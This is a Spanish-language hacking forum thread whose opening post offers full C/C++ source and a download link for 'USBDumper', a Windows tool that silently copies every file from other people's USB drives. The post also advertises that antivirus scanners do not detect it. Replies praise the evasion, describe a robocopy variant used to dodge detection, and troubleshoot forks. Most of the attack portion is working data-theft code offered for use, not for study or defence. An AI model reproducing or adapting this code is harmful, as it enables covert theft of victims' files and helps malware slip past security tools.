Underc0de

[In]Seguridad Informática => Análisis y desarrollo de malwares => Mensaje iniciado por: xxneeco83xx en Agosto 29, 2015, 07:55:20 PM

Título: USBDumper [Roba todos los archivos de USB Ajenos]
Publicado por: xxneeco83xx en Agosto 29, 2015, 07:55:20 PM



Hola, en esta ocasión desarrolle un software que sirve para extraer de forma oculta todos los archivos de un USB, es decir, si vamos a algún lado y en nuestro pendrive llevamos este archivo lo que haremos es ejecutarlo y el resto de los pendrives conectado en el ordenador sus archivos se copiaran de forma oculta dentro de una nueva carpeta llamada USBDumper en donde lleves el archivo.
También funciona si alguien coloca un pendrive en tu ordenador, este copiara los archivos en una carpeta USBDumper donde este el archivo.
Dejo el código y su análisis FUD.



(http://telepics.net/uploads/pictures/big_images/Usb_Logo.jpg)

CitarCodigo del Ejecutable! [C/C++]
Código (cpp) [Seleccionar]

#include <windows.h>
#include <shlwapi.h>

bool __stdcall ListDirectory ( IN LPSTR lpszDirectory );
bool __stdcall CopyFiles ( IN LPSTR lpszDirectory, IN DWORD Attributes );

bool __stdcall ListDirectory ( IN LPSTR lpszDirectory )
{

WIN32_FIND_DATA find;
HANDLE Search;

char NewDirectory [ lstrlenA ( lpszDirectory ) + MAX_PATH ];
lstrcpyA ( NewDirectory, lpszDirectory );
lstrcatA ( NewDirectory, "*" );

Search = FindFirstFileA ( NewDirectory, &find );
if ( Search == 0L || Search == INVALID_HANDLE_VALUE )
{

FindClose ( Search );

return false;
}

while ( FindNextFileA ( Search, & find ) )
{

char CopyDirectory [ lstrlenA ( lpszDirectory ) + MAX_PATH + lstrlenA ( find.cFileName ) ];
lstrcpyA ( CopyDirectory, lpszDirectory );

lstrcatA ( CopyDirectory, find.cFileName );

if ( lstrcmpA ( find.cFileName, ".") != 0 && lstrcmpA ( find.cFileName, ".." ) != 0 && find.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY )
{
lstrcatA ( CopyDirectory, "\\" );

ListDirectory ( CopyDirectory );
}

CopyFiles ( CopyDirectory, find.dwFileAttributes );

}

FindClose ( Search );

return true;
}

bool __stdcall CopyFiles ( IN LPSTR lpszDirectory, IN DWORD Attributes )
{

LPSTR Name, PathComplete, Temp, Teme;
unsigned long len = 0, i = 0;
bool dirent = false;

if ( ! PathFileExistsA ( "USBDump" ) )
{
CreateDirectoryA ( "USBDump", 0L );
}
else
{
if ( GetFileAttributesA ( "USBDump" ) != FILE_ATTRIBUTE_DIRECTORY )
{
CreateDirectoryA ( "USBDump", 0L );
}
}

Name = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + 1 + lstrlenA ( lpszDirectory ) ) );
Teme = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + 1 + lstrlenA ( lpszDirectory ) ) );

if ( Attributes == FILE_ATTRIBUTE_DIRECTORY )
{

for ( i = lstrlenA ( lpszDirectory ); i > 0; i -- )
{
if ( lpszDirectory [ i ] == '.' && lpszDirectory [ i + 1 ] == '.' )
{
CopyMemory ( & Teme [ 0 ], & lpszDirectory [ 0 ], ( lstrlenA ( lpszDirectory ) - 3 ) );
dirent = true;
break;
}
}
}

if ( dirent )
{
for ( i = lstrlenA ( Teme ); i > 0; i -- )
{
if ( Teme [ i ] == '\\' )
{
CopyMemory ( & Name [ 0 ], & Teme [ i + 1 ], lstrlenA ( Teme ) - ( i - 1 ) );
GlobalFree ( Teme );

dirent = false;
break;
}
}

Temp = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + lstrlenA ( Name ) + 1 ) );
CopyMemory ( & Temp [ 0 ], & "USBDump\\", lstrlenA ( "USBDump" ) + 1 );
CopyMemory ( & Temp [ lstrlenA ( Temp ) ], & Name [ 0 ], lstrlenA ( Name ) );

CreateDirectoryA ( Temp, 0L );

GlobalFree ( Temp );
GlobalFree ( Teme );
GlobalFree ( Name );
GlobalFree ( PathComplete );

return true;
}
else
{
for ( i = 0; i < lstrlenA ( lpszDirectory ); i ++ )
{
if ( lpszDirectory [ i ] == '\\' )
{
CopyMemory ( & Name [ 0 ], & lpszDirectory [ i + 1 ], lstrlenA ( lpszDirectory ) - ( i ) );
dirent = false;
break;
}
}
}

if ( Attributes != FILE_ATTRIBUTE_DIRECTORY )
{
if ( ( Attributes == FILE_ATTRIBUTE_HIDDEN ) || ( Attributes == FILE_ATTRIBUTE_READONLY ) ||
( Attributes == FILE_ATTRIBUTE_SYSTEM ) )
{

SetFileAttributesA ( lpszDirectory, FILE_ATTRIBUTE_NORMAL );
}
}

PathComplete = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + lstrlenA ( Name ) + 1 ) );
CopyMemory ( & PathComplete [ 0 ], & "USBDump\\", lstrlenA ( "USBDump" ) + 1 );

//Name [ lstrlenA ( Name ) ] == '\\' ? len = lstrlenA ( Name ) - 1 : len = lstrlenA ( Name );
CopyMemory ( & PathComplete [ lstrlenA ( PathComplete ) ], & Name [ 0 ], lstrlenA ( Name ) );

CopyFileA ( lpszDirectory, PathComplete, false );

GlobalFree ( Name );
GlobalFree ( PathComplete );
GlobalFree ( Teme );

return true;
}

int __stdcall WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
LPSTR lpszArgument, int nCmdFunstil )
{

LPSTR Drivers = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), 513 );
GetLogicalDriveStringsA ( 512, Drivers );

LPSTR Drive = Drivers;

while ( *Drive )
{
if ( GetDriveTypeA ( Drive ) == DRIVE_REMOVABLE )
{
ListDirectory ( Drive );
}

Drive += lstrlenA ( Drive ) + 1;
}

GlobalFree ( Drivers );

return EXIT_SUCCESS;
}



ANALISIS FUD

https://www.virustotal.com/es/file/eef13660626dee64d0e6cc89bb94eaaf22f93f27564b5d270b0759e279aac8bc/analysis/1440888287/ (https://www.virustotal.com/es/file/eef13660626dee64d0e6cc89bb94eaaf22f93f27564b5d270b0759e279aac8bc/analysis/1440888287/)


Antivirus   Resultado   Actualización
ALYac      20150805    Clean
AVG      20150805    Clean
AVware      20150805    Clean
Ad-Aware      20150805    Clean
AegisLab      20150805    Clean
Agnitum      20150804    Clean
AhnLab-V3      20150805    Clean
Alibaba      20150803    Clean
Antiy-AVL      20150805    Clean
Arcabit      20150805    Clean
Avast      20150805    Clean
Avira      20150805    Clean
Baidu-International      20150805    Clean
BitDefender      20150805    Clean
Bkav      20150805    Clean
ByteHero      20150805    Clean
CAT-QuickHeal      20150805    Clean
ClamAV      20150805    Clean
Comodo      20150805    Clean
Cyren      20150805    Clean
DrWeb      20150805    Clean
ESET-NOD32      20150805    Clean
Emsisoft      20150805    Clean
F-Prot      20150805    Clean
F-Secure      20150805    Clean
Fortinet      20150804    Clean
GData      20150805    Clean
Ikarus      20150805    Clean
Jiangmin      20150804    Clean
K7AntiVirus      20150805    Clean
K7GW      20150805    Clean
Kaspersky      20150805    Clean
Kingsoft      20150805    Clean
Malwarebytes      20150805    Clean
McAfee      20150805    Clean
McAfee-GW-Edition      20150805    Clean
MicroWorld-eScan      20150805    Clean
Microsoft      20150805    Clean
NANO-Antivirus      20150805    Clean
Panda      20150805    Clean
Qihoo-360      20150805    Clean
Rising      20150731    Clean
SUPERAntiSpyware      20150805    Clean
Sophos      20150805    Clean
Symantec      20150805    Clean
Tencent      20150805    Clean
TheHacker      20150805    Clean
TotalDefense      20150805    Clean
TrendMicro      20150805    Clean
TrendMicro-HouseCall      20150805Clean
VBA32      20150805    Clean
VIPRE      20150805    Clean
ViRobot      20150805    Clean
Zillya      20150805    Clean
Zoner      20150805    Clean
nProtect      20150805    Clean



Link de descarga:
https://mega.nz/#!q85VFS6C!7jRIJZUQMFs3HK_aMJ2wYd1acZjHuRiLukwRXiLnwbU (https://mega.nz/#!q85VFS6C!7jRIJZUQMFs3HK_aMJ2wYd1acZjHuRiLukwRXiLnwbU)

SIN-PASS
Título: Re:USBDumper [Roba todos los archivos de USB Agenos]
Publicado por: jhonas en Abril 03, 2016, 11:01:14 PM
funciona perfectamente. avas.t no lo detecto
Título: Re:USBDumper [Roba todos los archivos de USB Ajenos]
Publicado por: JOKER666 en Julio 24, 2016, 12:21:54 PM
El antivirus no lo detecta, pero no funciona
Título: Re:USBDumper [Roba todos los archivos de USB Ajenos]
Publicado por: noxonsoftwares en Julio 24, 2016, 06:35:55 PM
Yo había hecho uno hace tiempo llamado RoboUSB programado en visual Basic Net. Lo cual hacia de detectar el usb y por medio de robocopy copiaba todo el contenido de la usb. Y si preguntan porque robocopy? ::) Pues el antivirus no detectara algo que ya viene con Windows  ;D ;D
Título: Re:USBDumper [Roba todos los archivos de USB Ajenos]
Publicado por: Blest777 en Mayo 30, 2017, 01:41:18 PM
Lo probé con mi computadora. Pase el USBDumper a la pc y lo descomprí. Después introduje una memoria usb y ejecute el programa y solamente se copiaron a mi computadora los archivos que no estaban en la memoria usb dentro de una carpeta, los demas archivos no se copiaron ni las carpetas de la memoria usb que contenian información dentro. Lo probé en windows 7.

Gracias!
Título: Re:USBDumper [Roba todos los archivos de USB Ajenos]
Publicado por: tematica en Febrero 13, 2018, 05:22:00 PM
Son ustedes unos autenticos artistas, muchas gracias por sus enseñanzas
Título: Re:USBDumper [Roba todos los archivos de USB Ajenos]
Publicado por: MrKrypton en Marzo 30, 2018, 04:31:03 PM
Para que sirve ese codigo que dejaste? Estoy apenas aprendiendo programacion, que hago con ese codigo, muchas gracias buen aporte
Título: Re:USBDumper [Roba todos los archivos de USB Ajenos]
Publicado por: ANTRAX en Marzo 30, 2018, 06:31:46 PM
Roba datos de un USB que conectes a la pc

Saludos,
ANTRAX
Título: Re:USBDumper [Roba todos los archivos de USB Ajenos]
Publicado por: Harrysnoop en Junio 28, 2020, 01:28:41 PM
Pero en que carpeta que guarda  no hay direccion
Título: Re:USBDumper [Roba todos los archivos de USB Ajenos]
Publicado por: DtxdF en Junio 28, 2020, 03:10:47 PM
@Harrysnoop (https://underc0de.org/foro/index.php?action=profile;u=109029)

Podrías probar:

UsbDumper: underc0de.org/foro/malware/usb-dumper-en-c-codigo-y-ejecutable
UsbDumper (fork para Gnu/Linux y Windows): underc0de.org/foro/malware/usb-dumper-2-0-extrae-los-archivos-de-los-dispositivos-victimas!

~ DtxdF
Título: Re:USBDumper [Roba todos los archivos de USB Ajenos]
Publicado por: Harrysnoop en Junio 28, 2020, 03:45:59 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
@Harrysnoop (https://underc0de.org/foro/index.php?action=profile;u=109029)

Podrías probar:

UsbDumper: underc0de.org/foro/malware/usb-dumper-en-c-codigo-y-ejecutable
UsbDumper (fork para Gnu/Linux y Windows): underc0de.org/foro/malware/usb-dumper-2-0-extrae-los-archivos-de-los-dispositivos-victimas!

~ DtxdF

*******  Si he  ya he probado en windows    el problema es este FUNCIONA  pero no copia **************
C:\Users\Usuario\Desktop\xd\UsbDumper-master>UsbDumper.exe C:\Users\Usuario\Desktop\d
sale esto:
[!!] Esperando pendrive.
  [!!] Esperando pendrive.
  [!!] Esperando pendrive.
  [!!] Esperando pendrive.
  [!!] Esperando pendrive.
  [!!] Pendrive encontrado.
luego esto :
C:\Users\Usuario\Desktop\xd\UsbDumper-master>
ES DECIR NO ME SALE LA TRANFERENCIA DE ARCHIVOS  no copia,  pero a simple vista todo bien pero cuando voy a la carpeta donde se supone que estan los archivo copiados no hay nada :
Nota : en el codigo  claro solo detecta USB con la Unidad E:  por eso mi primer Usb es D:  Tenia que ingresar otro Usb  E:/ y lo detecto pero no logra copiar , alguien sale el por que ? o tendria que modificar el codigo.
Título: Re:USBDumper [Roba todos los archivos de USB Ajenos]
Publicado por: KiddArabic en Agosto 05, 2020, 07:49:28 PM
mi antivirus no lo detecta  , que sad! jajaaja . muy buena
Título: Re:USBDumper [Roba todos los archivos de USB Ajenos]
Publicado por: Gobinet en Septiembre 22, 2020, 02:19:38 PM
 :o :o :o :o
es una maravilla que no fue detectado por ningun antivirus
:-X
Título: Re:USBDumper [Roba todos los archivos de USB Ajenos]
Publicado por: latinroger en Abril 18, 2022, 08:41:21 PM
orales, buena la herramienta, cada día aprende uno cosas nuevas.
Título: Re: USBDumper [Roba todos los archivos de USB Ajenos]
Publicado por: DtxdF en Abril 18, 2022, 08:58:36 PM
@Harrysnoop

Citaro tendria que modificar el codigo.

Sí, como indica en el README, tienes que modificar el config.h para indicar las unidades o carpetas.

~ DtxdF